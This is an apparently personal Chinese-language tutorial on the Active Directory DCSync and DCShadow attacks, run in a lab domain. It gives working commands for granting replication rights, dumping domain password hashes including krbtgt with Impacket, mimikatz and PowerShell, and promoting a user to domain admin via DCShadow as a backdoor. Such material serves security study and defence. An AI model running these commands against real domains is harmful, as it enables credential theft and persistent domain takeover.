DCSync
原理
域内的数据都会更新的, 不同的域控之间相隔15分钟会同步一次数据
默认不允许从只读域控中获取数据, 因为只读域控是不能够复制同步数据给其他域控的
DCSync利用目录复制服务
目录复制服务是用来复制和管理数据的RPC协议
DCSync利用该协议的GetNCChanges接口向域控发起同步数据请求, 来获得域控的数据
实现
首先我们要知道的是, 不是所有的用户都有DCSync的权限的
默认这些组的用户有DCSync的权限
1 2 3 4 5
| Administrators
Domain Admins
Enterprise Admins
|
赋予权限
当然这个权限是可以被给予的
修改ACE即可
1 2 3 4 5
| DS-Replication-Get-Changes 可以复制不包括私密域数据的其他数据
DS-Replication-Get-Changes-All 可以复制域中任意数据
|
image-20230323155342305
输入要给予权限的用户
image-20230323155533805
最后赋予权限在下面的勾选”复制目录更改”和”复制目录更改所以项”
还有一种直接了当的方法给予权限
直接powershell跑脚本 (empire的powerview.ps1脚本)
1 2 3
| Import-Module .\powerview.ps1;
Add-DomainObjectAcl -TargetIdentity 'DC=sayms,DC=local' -PrincipalIdentity test -Rights DCSync -Verbose
|
查找权限
可以通过工具直接了当的找到用于DCSync权限的用户
使用AdFind
1
| AdFind.exe -s subtree -b "DC=sayms,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter
|
使用Execute-ACLight2.bat, 直接运行就行
会生成结果文件
image-20230323211801807
攻击
因为原理就是, 模仿域控去请求其他域控统一数据
直接运行脚本工具就行, 目的就是获取域用户的hash值
Impacket
1 2 3 4 5
| 获取所有用户 python3 secretsdump.py sayms/tom:admin@12345@192.168.8.4 -just-dc
获取具体用户 python3 secretsdump.py sayms/tom:admin@12345@192.168.8.4 -just-dc-user krbtgt
|
mimikatz
1 2 3 4 5
| 获取所有用户 lsadump::dcsync /domain:sayms.local /all /csv
获取具体用户 lsadump::dcsync /domain:sayms.local /user:krbtgt
|
powershell
1 2 3 4 5 6 7
| Import-Module .\Invoke-DCSync.ps1;
导出所有 Invoke-DCSync -DumpForest | ft -wrap -autosize
导出具体 Invoke-DCSync -DumpForest -Users @("krbtgt") | ft -wrap -autosize
|
进行权限维持
DCSync
可以想到, 如果我们拥有域管权限, 就可以任意指定DCSync权限
为用户添加DCSync权限
1 2 3
| Import-Module .\powerview.ps1;
Add-DomainObjectAcl -TargetIdentity 'DC=sayms,DC=local' -PrincipalIdentity test -Rights DCSync -Verbose
|
清除DCSync权限
1 2 3
| Import-Module .\powerview.ps1;
Remove-DomainObjectAc1 -TargetIdentity 'DC=sayms,DC=local' -PrincipalIdentity test -Rights DCSync -Verbose
|
DCShadow
通过上面我们可以知道DCSync是通过模拟域控, 向其他域控请求同步数据, 从而获取信息
DCShadow就比较骚, 模拟域控, 通过域控直接的数据同步机制, 将自己预先设定的对象注入其他的域控中, 以此来创建后门
将域普通用户提升为域管
可以看到aim隶属于普通域用户组
image-20230412214112209
通过修改其primaryGroupID值, 使其称为域管
首先在任意一台域主机使用mimikatz, 以system权限运行
因为想要伪造域控, 是需要高权限的
1
| lsadump::dcshadow /object:CN=Aim,CN=Users,DC=sayms,DC=local /attribute:primaryGroupID /value:512
|
image-20230412215353168
在用域管权限打开一个mimikatz窗口
image-20230412215654137
然后就可以看到aim加入了域管组
image-20230412220711261